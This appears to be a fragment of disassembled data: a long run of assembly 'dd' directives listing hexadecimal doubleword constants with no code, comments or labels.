		dd 3491388Ch, 40692CF9h, 0D90148ACh, 0D33EB12h,	0E670B968h
		dd 34D227AAh, 9454D424h, 0ADC42CC0h, 958E040h, 36885DA1h
		dd 3C027050h, 2F9B57DCh, 44ECE71Dh, 52B06031h, 1DCEE61h
		dd 55443623h, 0F4B3F219h, 7E7C9F5Fh, 66C6A20Eh,	7A8C45CDh
		dd 107A8E4h, 0EEFD5493h, 7313277Fh, 30C1A244h, 711F8289h
		dd 11ED1C94h, 8DEC2748h, 6F680713h, 86D8605Ch, 1CF8F0C9h
		dd 0C1D06EEh, 55170990h, 4CB32C27h, 3E410015h, 8ACC33A3h
		dd 562558E9h, 0E33CE06Ch, 0C00C4A7Dh, 416A4A6Ch, 490194Ah
		dd 13A367h, 0C68953AFh,	366E0762h, 8B0E9101h, 6C5450D6h
		dd 0B43351E0h, 0C4465CBCh, 859D8200h, 8ABE7183h, 0A4583106h
		dd 3B10CF4h, 69BAE3DDh,	0E0DF4EFCh, 5E550A09h, 0B8B78C32h
		dd 5AC4038h, 0F468BC0Fh, 0DAA1AD00h, 0C8CA816Ah, 3C4201C4h
		dd 0E1745288h, 0E8F468EBh, 5F0D8CCDh, 0C91493AEh, 9CB1A1F0h
		dd 754C80ECh, 5A348164h, 1EA14E5Ch, 42403756h, 72C7FF78h
		dd 0A4441E06h, 6058C479h, 1CBC8Eh, 0FA51692h, 0A23C344Ah
		dd 0B450F2F8h, 0D13BDCFCh, 6BD98ECEh, 0C5E40047h, 92F42A8Ah
		dd 8BD30404h, 0F2357D06h, 0BC2B4B9Ch, 0E100C623h, 26D974FEh
		dd 890F005Eh, 0A159401Eh, 0B1E8187Eh, 0A60233F8h, 805855EEh
		dd 6F40CF48h, 4C9084C9h, 48147A3Eh, 379CEBA1h, 7F4D86Eh
		dd 2C8B54C8h, 0A890B462h, 2684A428h, 8084CDABh,	58F365BDh
		dd 0E307A4D4h, 891492C9h, 0D70DE180h, 5B6809A8h, 34804A9Eh
		dd 1D37254Fh, 8DA48E1Ch, 0FE944780h, 5F7C9B93h,	23602FCDh
		dd 0C73A1FC5h, 90EF104Eh, 550EC996h, 0B6D80809h, 70AAC7h
		dd 216E5A02h, 71A0DB9Eh, 7C9A3097h, 558594Ch, 0AEC0E6CAh
		dd 3803D040h, 9D666007h, 2489A089h, 2379E0D9h, 5143F819h
		dd 5F629501h, 0C2605319h, 6BE4013Ah, 51A045E4h,	4761D7C4h
		dd 8C2D8160h, 39C020DDh, 0FD3E1C76h, 0A08EADFEh, 923FA170h
		dd 567005BAh, 9DD7C5Eh,	89433E0h, 4656D094h, 1BBE0032h
		dd 0A449CBB4h, 0D7AD1261h, 802C2456h, 48BA9C39h, 64A058F4h
		dd 0C616D862h, 3C5641FEh, 8A75C890h, 19931A04h,	54604113h
		dd 32008BA2h, 9E0FB14h,	4A57CA41h, 8E34CFD5h, 24C010FCh
		dd 70DA2244h, 0D1FB3104h
		dd 0F4AC2C88h, 36528705h, 0A758F71Dh, 51699040h, 0E29C00EBh
		dd 6C10C4FFh, 8B01735Dh, 61A255AAh, 883816D5h, 8C26ECh
		dd 300B4FF4h, 0D72C8554h, 0D544C492h, 894D1CFBh, 263A8044h
		dd 0CF998DDEh, 0BD03FA16h, 3223EC3Ah, 0E824003Ah, 2AA880CEh
		dd 2C0C48CCh, 0A313D042h, 2C083258h, 0FF91C897h, 0C10AAC85h
		dd 230EFD98h, 80B88310h, 6582F217h, 6128E474h, 3032B77Fh
		dd 0A044E693h, 0B16B596h, 0C04E685Ah, 0D7A6BC05h, 3671625Ch
		dd 11E89729h, 45F280CFh, 25567875h, 58C1DA60h, 4F30364Ch
		dd 0C3C870CBh, 83805FC3h, 1BC098B5h, 5C9B0642h,	50DB33FFh
		dd 4F0349Ch, 0A9BF3A7Bh, 8602DF0Fh, 49943BE0h, 44E648A2h
		dd 571F3200h, 54819325h, 0F3EE000Bh, 0FEAD8BDBh, 3745C8Fh
		dd 1F5738C0h, 68DB342h,	7889DF12h, 5E60083Ah, 42274421h
		dd 0B39600BAh, 9FC9B868h, 2D30F4A1h, 5A379EFh, 4E69008Eh
		dd 89769AD4h, 9C013185h, 0F701930Eh, 0A6EFF86Eh, 5CCB0050h
		dd 7887286Ah, 0D1004F08h, 0B8CAC68Dh, 723B36Bh,	4CFD3DB2h
		dd 0FCD3009Bh, 30F8194h, 3029CBAh, 7063C72Fh, 538A1018h
		dd 2C7104D8h, 4A06F887h, 0F703B905h, 20BB0314h,	0DE110BF9h
		dd 49FE49A5h, 0B0A0A814h, 38498E35h, 8883894Ah,	9F163672h
		dd 1359F2F8h, 0CCCAD20h, 85FF3BC2h, 0D1189DD1h,	0F188FBDFh
		dd 83750A42h, 11400327h, 498A81B6h, 78A27390h, 3EE74440h
		dd 45499300h, 3C5A8436h, 0D2800064h, 0C3766F89h, 787DF86Dh
		dd 0FE969511h, 40AFE21Fh, 64B87C24h, 0C86683FAh, 21CE08h
		dd 0B6C3B7C0h, 6D075256h, 0A68BEE1h, 94010CEBh,	209BFA8Fh
		dd 0F3D62D3Fh, 0B5B9C885h, 9D498BC0h, 9C975673h, 0C03CE324h
		dd 0B17F1AD4h, 0D5F4C909h, 8E30100Ah, 75A000BFh, 1EBF860h
		dd 2C1473C6h, 11D836BBh, 0E3A8045Eh, 0A45C028Ch, 0C7BA2051h
		dd 60929084h, 231DC3B2h, 0CD11D07Ch, 0C3BABD00h, 3B776EF6h
		dd 831C2910h, 0FBEA0200h, 7630568Dh, 9E4CC400h,	0F3243520h
		dd 5A1D04A4h, 80E48513h, 0DC778C08h, 7BE07960h,	0C0DA351Bh
		dd 912E8718h, 6CA588E5h, 7160E2C4h, 0E0F657Dh, 6C611550h
		dd 545E488Ch, 29980Dh, 8A38D15Ch, 52DBC1F0h, 8767D30Ah
		dd 0B201AC62h, 9460BF8Dh, 0A1001C22h, 0AC6BF27Bh, 0B7127C6Fh
		dd 0B002D2F5h, 2B21789h, 10694379h, 8241890h, 2A8DAE42h
		dd 454054C4h, 14DA422Ch, 7D1B6E15h, 0C2E21EA0h,	0A4CB2640h
		dd 0F55F61E0h, 0EAD93180h, 770E34B3h, 2DB4A20Ch, 67F9F1h
		dd 33C03C70h, 8E1E3E9Dh, 0A0A94671h, 8A918B7h, 0A7739B49h
		dd 3943E7C4h, 0E2F04992h, 7526F0DBh, 0D0487CEEh, 8D87D0Ah
		dd 21F8FB02h, 907807D5h, 0CBF48A29h, 28FC053Bh,	8C5614F2h
		dd 42201488h, 880A2BB0h, 41004F11h, 1C884228h, 0F4E73569h
		dd 0ED12FB5Fh, 503AF86Ch, 0E302CE23h, 65AE3A05h, 604FE4DCh
		dd 71CB55A9h, 77F709DEh, 8009FCCh, 0F349EB45h, 0CE5F710Ch
		dd 0CE1F30F5h, 84A0F739h, 0B78B9B63h, 0C007A1E4h, 0BF854809h
		dd 30409D56h, 0D5A07E12h, 39C0FB0Bh, 0C8257B95h, 0A89800A4h
		dd 56858BE5h, 0CE50B5F3h, 0D703BAA4h, 7B3EC889h, 3DF8F31Eh
		dd 0B713FD38h, 29A041CAh, 10698476h, 48CF4471h,	0FE046833h
		dd 97DA57B1h, 27F9C254h, 0A856040h, 98C07A2Ah, 0EF12D502h
		dd 48887BEDh, 0DB7EC44h, 795CCCABh, 92E802A9h, 11422630h
		dd 883A8DACh, 2E378150h, 0F0D66642h, 4918259Dh,	0C371D893h
		dd 1E220082h, 0E8F50A3Dh, 81024AB4h, 2A0F269h, 2CC80CFBh
		dd 35641F20h, 3A893D5Ch, 15123B4h, 0D6235DBAh, 0C0A057FDh
		dd 554E77C2h, 71D03090h, 0F0997E84h, 0B8D7B900h, 186F08C0h
		dd 88681764h, 793207E5h, 0A01AC9D4h, 0E42C02E8h, 24190ABh
		dd 75A4E8B6h, 6480FC8Ch, 0C0A2E7EAh, 85298F03h,	0E15305D9h
		dd 1CC09DFDh, 26EA007Bh, 0FCE3CE6Fh, 2C9A3781h,	503E8839h
		dd 84417FD4h, 0E988844Eh, 73D7DBC0h, 0D8F504ADh, 88938FCEh
		dd 2903D694h, 643722CFh, 727CC0A4h, 4EFAC0ECh, 0D0BD28EFh
		dd 4518C005h, 30C1E716h, 0DF000A27h, 1B2A2BF8h,	0A601808Ah
		dd 0FFA8B99Dh, 4E4DA4Ch, 7808CC45h, 9500C521h, 8F4AF3B9h
		dd 8B2A62Ch, 8283ED88h,	8096B689h, 246875FCh, 7108C18Bh
		dd 0F190AEF0h, 228EF153h, 0F8830B0Ch, 0E08027C8h, 44202C65h
		dd 23A9B99Eh, 701194FFh, 0B996C800h, 77530C2Bh,	0C7129D07h
		dd 0E8852CBEh, 0C091B048h, 7C20C3B3h, 0CA22D846h, 0C3BBBC00h
		dd 0F0B4F604h, 20824ACh, 0E0B114D8h, 68739800h,	10B22575h
		dd 0E8E0C924h, 2CED9A07h, 648BAE14h, 0C4C04FC8h, 11CD374h
		dd 60BDA16Dh, 73F8BE91h, 1BC2304h, 739A49A4h, 88E5186Fh
		dd 49018D38h, 46A61A09h, 1980EA2Dh, 0ABA24C87h,	7C00324Bh
		dd 0CEA08FFBh, 3D2F577Eh, 5B004038h, 3E71194Dh,	47168BE4h
		dd 0E41674D4h, 0D979F804h, 1BBB9801h, 0C67F089h, 9C208360h
		dd 7CED264Dh, 0E0C8AB7Ah, 4DB686B2h, 2FBCD42Dh,	7CB9F405h
		dd 842020BAh, 4B10F96h,	759A133Bh, 1EC48889h, 48E5A401h
		dd 0AEA9E773h, 9DE02436h, 1B4A6505h, 0FC4DCC40h, 126ACC12h
		dd 0BDAADEh, 1BFBC9FFh,	8CE64E6Bh, 0A94029DCh, 35564211h
		dd 7C805D77h, 47F79062h, 0B94810C4h, 0E8459B6h,	9A5067FAh
		dd 484C8428h, 23C3AC60h, 11C07C23h, 0B4487EE8h,	0DC8F015Ch
		dd 620EC70Ah, 0C4904Ch,	1D345D61h, 37CB0811h, 0D00B2F2h
		dd 1B079D20h, 0F2018F92h, 3A037993h, 0EC2C4E02h, 0D51D054Ch
		dd 80EC9BAEh, 0CB68301Dh, 5F8D0CF6h, 1ED86DDCh,	9350D864h
		dd 0AF422360h, 0C0328D21h, 0E6422B38h, 23A89000h, 0D61B3C63h
		dd 0F450E906h, 24DC9DBAh, 85B4F89Fh, 40B8776Dh,	415A83B8h
		dd 9B4918E0h, 383B4A9Ch, 0D100DF23h, 12AFF192h,	0DC4F00C5h
		dd 90434ADh, 8CBAD672h,	2AF9A501h, 495A25B8h, 8091E891h
		dd 8DB14221h, 46008722h, 0E8084229h, 0CD4A0657h, 0C938470Dh
		dd 45C4301h, 5EBF7C73h,	3FEBC830h, 2ECB9CEFh, 0CD2374h
		dd 8BE6784Eh, 7530942Bh, 1DF7818Dh, 10A125A6h, 4A006CB7h
		dd 0BD46690Fh, 0ACEB2919h, 1852D1F4h, 408800A3h, 0E2C807A1h
		dd 0AE01816Ch, 7F760AD1h, 0EC24043Ch, 0B47A491Ch, 10691Fh
		dd 2058E434h, 5900EC85h, 5BEF7D67h, 1C5DA541h, 8B3F14Dh
		dd 9802F79Ah, 0C485FA43h, 29446B0h, 7C1FC3B0h, 10E731E0h
		dd 0C3B8BFh, 790E402Ah,	7B28EAAh, 0EA47E40Fh, 804F8EB7h
		dd 37A49585h, 3BB2C83h,	802E1158h, 0FF8BB990h, 6E448C44h
		dd 0B94800C6h, 5DB76CC2h, 3600099Ah, 9C428098h,	5DCF221h
		dd 0BD2A33Bh, 0A19C40BCh, 8BE52872h, 9C545F13h,	0F0002C16h
		dd 47ED1B16h, 7B7EE604h, 0F1A0B125h, 101186Eh, 41F00A57h
		dd 0F264871Dh, 0A3C48DE3h, 305BB2FCh, 0D0F88F61h, 71EC7B00h
		dd 780804E9h, 0D8B4ABFDh, 0C9E145F3h, 481D9E60h, 2880E111h
		dd 1CBBF65Ah, 0FC95EA02h, 68C0BF03h, 2446B944h,	8604CA39h
		dd 0F1757CEDh, 0A9075D33h, 51EE20h, 537006B0h, 7445694h
		dd 1EABD00h, 80B71C4h, 309D0023h, 7CB56220h, 0D09053DFh
		dd 35C66E0Bh, 119C9DAEh, 0EB1D8179h, 7082868Bh,	0BF88BDA2h
		dd 8C22C59h, 11C42863h,	421D838Dh, 0C782D2E5h, 25393F70h
		dd 47D02A00h, 77F74E56h, 1C0530A0h, 16C454Dh, 0FC03018Eh
		dd 1185F7D5h, 78850BFh,	35DE52A4h, 97702025h, 0FF23A2B9h
		dd 6D117Ch, 7FB98FCBh
		dd 79C5D5F5h, 13FF7A1Ch, 4063E767h, 0FD9D856Ch,	710CF15Fh
		dd 1804AF44h, 991DFCB7h, 18E7D178h, 3CAB006Eh, 2F9388BFh
		dd 75279E92h, 2ACC205Fh, 78A75Dh, 270F38CAh, 1016A928h
		dd 0C8713E00h, 1D5321BCh, 6D0724EDh, 4A834050h,	0C027003h
		dd 40BF8078h, 46DCC479h, 0C3AE0296h, 31B07C21h,	0B6C110CCh
		dd 9303CC3h, 80478E06h,	7B0A4871h, 0B8E06603h, 0A65070BEh
		dd 77541ACCh, 0D2002AA4h, 0B7331C92h, 937BD8h, 0AA85EF80h
		dd 9BEBE7CDh, 7DEDA109h, 5DFC25A5h, 61937800h, 587CA9h
		dd 3BCF9118h, 6FC6F56Ah, 906EB800h, 0F0198D54h,	84BF186Dh
		dd 5CA578A8h, 0A018C91h, 0D160FB88h, 38D926F8h,	1C00041Eh
		dd 0B6579FD7h, 0C42E778Dh, 0B28B7885h, 16080F2Dh, 0E823BC3Bh
		dd 1E44EB04h, 0D3018880h, 0CEF481Ah, 60023B10h,	47568918h
		dd 186F188Dh, 88F9B095h, 6040F745h, 4D620B55h, 0CC4C58EAh
		dd 2F8C51BCh, 6D544055h, 0D37A0704h, 887F08E4h,	320337E8h
		dd 5F0356A5h, 20F1E8B2h, 96B403A6h, 17F74618h, 0BA0153C0h
		dd 9CE9230Ah, 0FD028802h, 80CCF3D1h, 43B1FF08h,	2C7380FCh
		dd 7028B34Dh, 9BE820Ch,	0ACB929A1h, 49A705A4h, 8E777399h
		dd 903700D0h, 0B3C9F049h, 0E623021Bh, 0D055FB7Bh, 15808885h
		dd 810B609Ch, 24450144h, 0E460E1E4h, 317B3498h,	0BE00B9E4h
		dd 0B4F171A2h, 0FDEFA8Dh, 0A52F0C13h, 0BC67AD49h, 6067E844h
		dd 0C41DF0A0h, 529B903h, 258AE467h, 0D0201AB8h,	9036F992h
		dd 9CA1F10Eh, 6785E045h, 1FBE53D1h, 0D9035886h,	939AF8F6h
		dd 0D02FE0E8h, 29007023h, 682035C2h, 9D563DB0h,	0C20C9AA4h
		dd 0AC20821Bh, 19CAB56h, 475B1C54h, 68EB6563h, 7BA1C09Ch
		dd 4FE581Ah, 0CF7C646Fh, 0A884D0D2h, 0F726E5DCh, 47117CA9h
		dd 26C3AD80h, 448CC87Ch, 0B500C2E6h, 1EE856C3h,	35E7F43h
		dd 584FD4F4h, 78B67513h, 7421FA5Ah, 27C3A41Bh, 98A05EB0h
		dd 3EF47B9Ch, 82908EF7h, 138105B2h, 0B4C70C88h,	780A0288h
		dd 0A8E7878Fh, 5360E6C4h, 0C2002D92h, 4D84B329h, 168A462Fh
		dd 2E3EB3Dh, 76786760h,	2A208C64h, 719804D5h, 840D3764h
		dd 0C3B4DB90h, 0FD240759h, 6F96A4A0h, 524099D5h, 0D119468Dh
		dd 9B3AA0ECh, 1B59925Ch, 96F09844h, 1E818CD0h, 0E07F2AEDh
		dd 0F5FF029Ch, 0FD9E4479h, 0C511BCD1h, 0E6A27C53h, 3A2A1730h
		dd 0E980D954h, 5A26B3EEh, 0D750FD1Bh, 83069784h, 7F2DE7EBh
		dd 64730BC9h, 0A810549Bh, 6E011888h, 4CB977C2h,	2980F86Ch
		dd 0D2129CFEh, 0E6671C13h, 68D983C1h, 3057D308h, 4A485D37h
		dd 0EB3FD481h, 961050A0h, 58A9CF60h, 0E293966h,	1CAC04D4h
		dd 75256401h, 7CED4048h, 1F3E4E42h, 0C084AA17h,	0CE0F98FEh
		dd 361DD72Eh, 2F1E4400h, 3097BB21h, 6359D096h, 8B902970h
		dd 1C663D03h, 0D8B3FF0Dh, 0F0B7E55h, 0B2021A6Eh, 9880D929h
		dd 15F3581Dh, 0BAE00095h, 1039F7Ch, 52DE7B49h, 6002FDFAh
		dd 0C4B48518h, 465E2C2Eh, 46B40EE7h, 0AC8292EDh, 85D22BCh
		dd 0AB118CA0h, 93001AA0h, 0C96E245Eh, 7E30442Eh, 0F0E102B8h
		dd 826067F7h, 14456840h, 0CED3500Bh, 87F482B5h,	0DF98690Eh
		dd 78B8D428h, 0E35C268Ch, 600803BCh, 904CFA5Ah,	8C5EE878h
		dd 52198500h, 9B7F2CCEh, 0E84C25A5h, 0F855CC02h, 670E2102h
		dd 60E8444Ch, 45A501h, 8DFED27h, 10DC0B25h, 0A80EBE8h
		dd 0C8F3F348h, 7DB7ED34h, 0F1041F9Fh, 97DCE601h, 0E2C42444h
		dd 30E9F294h, 310E2950h, 2379DEF3h, 0B43E71A9h,	6CC820CBh
		dd 897A4FC0h, 0F26975F3h, 0DFFF2596h, 6E118817h, 214E6C83h
		dd 0F3E4260Bh, 6D9C42E5h, 6394E0F4h, 6A09FF78h,	0E52DBA25h
		dd 6753E4E0h, 0C84698D3h, 5C112A3Fh, 6708ECA4h,	0A500723Ch
		dd 82ED96F9h, 13C9C98Bh, 71A03580h, 520C2E99h, 99F58C75h
		dd 0A05A5B1Eh, 0E75AEEEDh, 0F4E68035h, 60565FE1h, 9CB4D364h
		dd 0D60B7BE1h, 0E71816E7h, 84A49BFEh, 0B8C0575Eh, 3068BD70h
		dd 7AC9F02Dh, 6EF21075h, 82FFA63Ah, 0D7AC5428h,	2FA0D0EDh
		dd 42AD807h, 80281128h,	0FFA5B99Ah, 0CC008774h,	7E72B992h
		dd 0F94A0396h, 18478C08h, 0F09CA49Dh, 75A44207h, 900CCB86h
		dd 0EB6725FBh, 0B1828400h, 72AD2A6h, 0EF06E406h, 50B34C73h
		dd 0DC0F4C20h, 0C8D8CB92h, 0F3E1C45Ch, 7B4E1FF0h, 3B0834ACh
		dd 0F09E2063h, 0DD9F7044h, 0FA204410h, 0C810CB78h, 5C9CACFh
		dd 849CEFEAh, 54B9A1h, 460AD1F0h, 25A5C684h, 289790C1h
		dd 4380E391h, 12137479h, 18DC0904h, 1884D199h, 0FDD2EB01h
		dd 3B2AFB86h, 512380h, 9CDCC00Bh, 0C0A0FF01h, 48033D3h
		dd 362D0B2Bh, 404C6876h, 543597h, 0F8477E95h, 27252C71h
		dd 0E7FC4864h, 0C4180D8h, 0DF817616h, 4FD3F443h, 482896BFh
		dd 0F01DC4B4h, 287209E5h, 60275884h, 2EA4B999h,	709CACFFh
		dd 0B90491C9h, 89BA75F3h, 0D6D4C487h, 0FFBBF100h, 48608382h
		dd 9F547379h, 96D4960Dh, 0B91C8C8Eh, 9D93793Eh,	1765219Ch
		dd 80CC111Ch, 2D4A808Ch, 25F0A8F6h, 0B5EF0B57h,	0A500920Fh
		dd 817541D1h, 5CC1095h,	31346194h, 2AA0780Ah, 2C9AB453h
		dd 0AA07BC0h, 430181EAh, 7DA17027h, 0AD12A65Fh,	507180D9h
		dd 20025618h, 9A4B43BDh, 84E493h, 5A638104h, 7E34AEF2h
		dd 0CF8839h, 0FE96C14h,	48016A44h, 0B82388B9h, 9E49A801h
		dd 2C2F8F73h, 91003CA0h, 0DDCB9649h, 8BB6A1h, 18EAC1A8h
		dd 4C055A84h, 9249563Dh, 0EC9A79A6h, 337F48C0h,	4B076653h
		dd 0DC39935Dh, 76E81202h, 30770910h, 4503BC78h,	5A0B2D1Fh
		dd 17F5C313h, 3ABE8E20h, 0CB2330h, 0F1B11511h, 0FF7575DAh
		dd 8CD76F24h, 0C7447B02h, 35484160h, 7A7850F6h,	0A8828A84h
		dd 9C005AF3h, 80FA4789h, 1CA27CFDh, 61299884h, 860B99Bh
		dd 0C0CCB99Ch, 7B993C7h, 0AC0B6496h, 2EB04E95h,	4068710Ah
		dd 0D77910B3h, 0B6081695h, 0BD03D454h, 84CC34E6h, 0A042BBEDh
		dd 4BBA013Bh, 6E24C09Fh, 4C16459Dh, 80D11AC6h, 83D4CFB7h
		dd 0C3A5006Dh, 4F602FD0h, 9C078724h, 1808271Eh,	0A9B7B200h
		dd 1B7C3A20h, 0A1F0804Eh, 800204BDh, 5F20EB9h, 0E0484D61h
		dd 0ACB71ABCh, 7EC4B000h, 461873E7h, 0EDDB1E72h, 58E4657Ch
		dd 0BCF9F32Ch, 2E31B08h, 52437C73h, 8123D48Eh, 1801DB87h
		dd 0CF079D1Eh, 306C1F22h, 1B55D1Dh, 57ADCEA3h, 89AC6041h
		dd 0F189F261h, 0B47C1747h, 8BB99C06h, 1CBE48E4h, 19A02CDCh
		dd 0A31000C6h, 0F39FCBA4h, 5E06D538h, 2071E04Fh, 9D22B7EAh
		dd 793091DEh, 578187Ah,	1BA2F5E5h, 0AF1C0F79h, 0BE2732E0h
		dd 64002F6Bh, 2596D0DCh, 793C53h, 554FEB99h, 5C478DBAh
		dd 59021CBEh, 80ECD91Bh, 5A1D99E8h, 8C2D094Eh, 387385EAh
		dd 1105678h, 0BB8B4B41h, 400503D2h, 4E99BD7Ch, 31FA2B34h
		dd 84759881h, 4448BC79h, 1418553Dh, 51B582A6h, 742F6C5Eh
		dd 44005E23h, 0C97CA00Bh, 0EDD307AFh, 846FF401h, 0DF94E0ABh
		dd 465CD4BEh, 5D3D0070h, 0CEE592A5h, 0D8F005Bh,	90858BEAh
		dd 0DE097F12h, 82997507h, 569F2Ch, 91BFBAF5h, 2EAA4B00h
		dd 0B8F91346h, 0DC2CF9D8h, 7434886Ah, 5C02EA46h, 342B2FF3h
		dd 4F02688Fh, 20DA604Bh, 0A0FFA911h, 0E6E2E442h, 17A4FF30h
		dd 432EF56h, 15937F4h, 0DA47BC7Eh, 8B8C653Eh, 0C05E889Ch
		dd 2F053829h, 0BE52D209h, 735482F1h, 0B69322D0h, 0E9F39084h
		dd 7B40B18h, 530526Dh
		dd 512C129Ch, 1F88453h,	4E45ED6Ch, 0E84C68AEh, 4248CCFh
		dd 0A8063CEFh, 70483FA9h, 2CA29FD5h, 0DC647C0Ah, 0F83D9CA0h
		dd 0F408DC99h, 8133C80h, 8C48C2DAh, 304C707Ch, 0A9CF446Dh
		dd 1FDCA49Ch, 0C0BF1B45h, 8D26C15Ch, 4CB42C6Fh,	520C0502h
		dd 0D978F1D4h, 146F1852h, 0C438E1A5h, 0CCD9710h, 807CB493h
		dd 9D89DE1Ah, 248F46B1h, 0D516D889h, 0B43CF312h, 42A2D81h
		dd 8341F84Fh, 5462F8ADh, 0A2D10B00h, 0CEBE698h,	23B3261Fh
		dd 6E571500h, 53F35692h, 54F2804Dh, 9F9FE230h, 38E0C019h
		dd 8C78B8ECh, 20A7950Ch, 726C9E9h, 0E3B2DAB1h, 0CB21C0EBh
		dd 293EFE92h, 761301EDh, 9A34618Ah, 77F0483Eh, 915497A7h
		dd 0BEB087DFh, 0C02671C0h, 8F060061h, 0F71AD255h, 84794479h
		dd 5048CF5Bh, 0B7B85ACh, 2040D0E2h, 9D9D032Dh, 89DF9134h
		dd 759CF852h, 287E0029h, 0EC44E71Ch, 0FA02C637h, 1FE814Ah
		dd 61007EA1h, 1253E344h, 5FF82008h, 6C9097C8h, 0F90B3D1Ch
		dd 3CD2B753h, 98AC4086h, 620C49Eh, 0CBB8F850h, 0C4B86579h
		dd 506160CDh, 2718EA21h, 54653157h, 0C6150E4h, 0D2F630D0h
		dd 1360CB5Ch, 0F0E23601h, 0E8BE8022h, 269C4740h, 0CB130F83h
		dd 85E02089h, 0CEA8B118h, 9173FEA0h, 359706F6h,	805411BCh
		dd 47FBCC9Dh, 274948Bh,	0DBB7B484h, 60F49305h, 8E6D00E4h
		dd 68F48615h, 0E1006FFAh, 84E29B12h, 0B853239Ah, 94D20F58h
		dd 2E5E8BB4h, 7946745Ch, 185F610Bh, 0BF6800A1h,	14082CC4h
		dd 0B8708432h, 0B2048C52h, 0EA79466Dh, 2ED660ECh, 4F2318h
		dd 582144B3h, 0BF138BD7h, 0C4D073E4h, 832C98h, 9D20E335h
		dd 0D61B1F01h, 6C9910E4h, 0E218E5D1h, 0D742D117h, 0A88CC404h
		dd 44A4480Ah, 0E2D0E2E0h, 0F1823071h, 8796BF3Bh, 948E239h
		dd 502EC4D5h, 0E103E623h, 0E8CE70E2h, 0B4EC1Eh,	90AC26BDh
		dd 12A4213Ch, 0E247140Bh, 0EB806093h, 174B5CBAh, 0FF13D114h
		dd 0EE180204h, 0B888ED66h, 14F4008Eh, 478B5770h, 90A0A5D0h
		dd 104BA1EBh, 0E423302Fh, 96281A00h, 62A370Eh, 17BC7FAAh
		dd 2E00A8B9h, 0E28D4E5Ah, 4B7EBDEh, 0B1858A3Dh,	0D990883Bh
		dd 9E3488h, 0D6637C08h,	11A45D32h, 85D82CF9h, 0C840811Bh
		dd 0B86AECD6h, 8F5A03CBh, 316398A6h, 0EF815B9h,	5DC0E188h
		dd 30C14CCh, 535801F4h,	0A1826735h, 0D51C8C80h,	0FB099085h
		dd 0F0F14111h, 0D6F89EB8h, 8A184373h, 0E41C9ADBh, 96A72DC3h
		dd 3E805C23h, 381D9EE8h, 2C71150Bh, 4F54D09Bh, 0F5D092B3h
		dd 9108972Bh, 0BD0B8152h, 40703D6Bh, 3FCC41ABh,	0AC9AA453h
		dd 72C78EC0h, 0A911A770h, 0A11FD696h, 0F4E9C30Eh, 0ABF80FBDh
		dd 0F30CF9AAh, 0D061BF2Fh, 1C919FB2h, 7E883C83h, 600BE85Eh
		dd 5F44101Ah, 2673EE48h, 0F893F9h, 441D6C2Eh, 0B7BD045Ch
		dd 0E9380EB0h, 0FA3192C0h, 0B700C20Ah, 6219A2EFh, 5CE81671h
		dd 658E2C2Dh, 87C84FC0h, 340056B3h, 0F87B4441h,	3229D07h
		dd 0DB30F621h, 0DFB285A2h, 78714CF1h, 0C606C518h, 7CF8A66Bh
		dd 1AA20019h, 80699D9Eh, 0AD48D999h, 8C50E834h,	9EFAEC02h
		dd 7C7DBABDh, 2EA59CF4h, 0E2467C3Ch, 0D274FE00h, 0BDD8F1FBh
		dd 9099322Dh, 7409EBB8h, 0D4179DC6h, 0BA80E791h, 655A542Ah
		dd 1974DD04h, 78C025C9h, 9912D33h, 0CF7CED1Dh, 62E070C1h
		dd 3070F288h, 0BF3ECEE9h, 0F50370F6h, 2E033765h, 72E139EBh
		dd 8B6F100h, 0CDA4333Eh, 4C0E3Bh, 84313CEDh, 5DF0DC1Eh
		dd 804FE0B1h, 0FAC55B0Ch, 0F09D509h, 0D90859FBh, 50C1853h
		dd 0F9874EB7h, 0C90CBC30h, 387044E5h, 428045A8h, 0F5917FBAh
		dd 4F0EA31Eh, 20E519CEh, 2A7A76CFh, 0B85F270Bh,	0D9A51061h
		dd 0DF699F0Ah, 44D522C3h, 0CBD1C0B2h, 2CC1008Eh, 0B9A42568h
		dd 4B75BDA2h, 79219A12h, 0E8E21CA2h, 1F7EED30h,	89A8C728h
		dd 0F8E82DC8h, 4B165678h, 600071AFh, 0A498DC17h, 41D11250h
		dd 0C3FC9ADEh, 0D5072A76h, 1AD55002h, 4030D8FDh, 44BC9004h
		dd 4E29C766h, 8728C81Bh, 287BCD00h, 0BC7263B6h,	9993090Fh
		dd 6C53F784h, 5AC1E78h,	0D95FD505h, 0B938C44Ch,	44591764h
		dd 3800946Fh, 0C4A4D434h, 564DB98Bh, 29E8D0h, 4BD16FA6h
		dd 0C32FC958h, 8200649Eh, 0B3A8EBAh, 0A49C16h, 0BBFB435Eh
		dd 0A0F7BA2h, 257199FAh, 0D488BA07h, 0ED00F7AEh, 0E0969B7Fh
		dd 0E4F4E525h, 494A606Eh, 0AAD1017Ah, 5A074FAFh, 38EDE51Bh
		dd 98894FDCh, 6961F0E0h, 705319D0h, 2E18E851h, 0E114F001h
		dd 0FD8EAB8Ch, 1FDB821h, 51FF5C01h, 0E033749Ch,	1409DC51h
		dd 0F3AEF518h, 85F586Ch, 9C0F164h, 0AD2DA8ACh, 2660D0CDh
		dd 1CFC3F88h, 176F05DDh, 54EC83A2h, 0DEA5AE88h,	465C6494h
		dd 721D007Bh, 0FFF171E9h, 474E581h, 0D4209D93h,	8B1E3B7Ch
		dd 5332F000h, 0CB2C7F69h, 2F341F72h, 0B7464095h, 7A4ED5Dh
		dd 0B2A8CC00h, 0C643FF16h, 0F4500011h, 1BCF019Ch, 39989FA5h
		dd 2734CE5Dh, 5928C97Eh, 0FA001433h, 74DEA8C0h,	5D040132h
		dd 529A1A46h, 857EC81h,	0B0CED044h, 22C47088h, 3E49F8C0h
		dd 0B633B4Eh, 478BFB02h, 0CCDAA5E8h, 71F6F125h,	185BD94Ch
		dd 2A5A0082h, 0F63FBF8Ah, 934A457Eh, 7BB3088h, 0E75756B7h
		dd 0D50FE0D7h, 86B84A25h, 80A1283Dh, 0FAB7B317h, 0B457F81Ch
		dd 832D0EACh, 485685A9h, 0E14674h, 66EE4845h, 3C52694Ch
		dd 0B1CA079Ah, 0A2FC337Ch, 0DA8530E4h, 0B6160902h, 5561A5DCh
		dd 0A45C98B2h, 16EA4656h, 0F0909328h, 125D6D0Dh, 0AC71482Eh
		dd 10B9C764h, 0ED44E824h, 2FFCF954h, 3EF0205Eh,	59E3F8h
		dd 30A045ABh, 831C2E9Ah, 0EA9888h, 0F2877A43h, 0CD79C872h
		dd 184CE39h, 10FE6E25h,	0FC49C96Dh, 23A82F2Bh, 0DA6500CDh
		dd 0EA717067h, 7312C490h, 1CF00B54h, 7789074Dh,	0D96C7585h
